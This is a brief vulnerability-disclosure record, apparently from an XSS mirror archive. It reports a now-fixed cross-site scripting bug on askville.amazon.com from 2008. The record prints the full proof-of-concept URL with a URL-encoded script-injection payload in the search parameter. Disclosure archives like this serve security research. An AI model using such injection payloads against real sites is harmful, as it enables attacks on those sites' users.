Security researcher KrepTOr, has submitted on 22/04/2008 a cross-site-scripting (XSS) vulnerability affecting askville.amazon.com, which at the time of submission ranked 28 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 23/04/2008. It is currently fixed. |
Date submitted: 22/04/2008 |
Date published: 23/04/2008 |
Date fixed: 15/06/2009 | Status: FIXED |
Author: KrepTOr |
Domain: askville.amazon.com |
Category: XSS |
Pagerank: 28 |
URL: http://askville.amazon.com/SearchRequests.do?search=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSS% 27%29%3C%2Fscript%3E&start=0&max=10&open=true&closed=true&x=18&y=7 |
Click here to view the mirror
|
|
|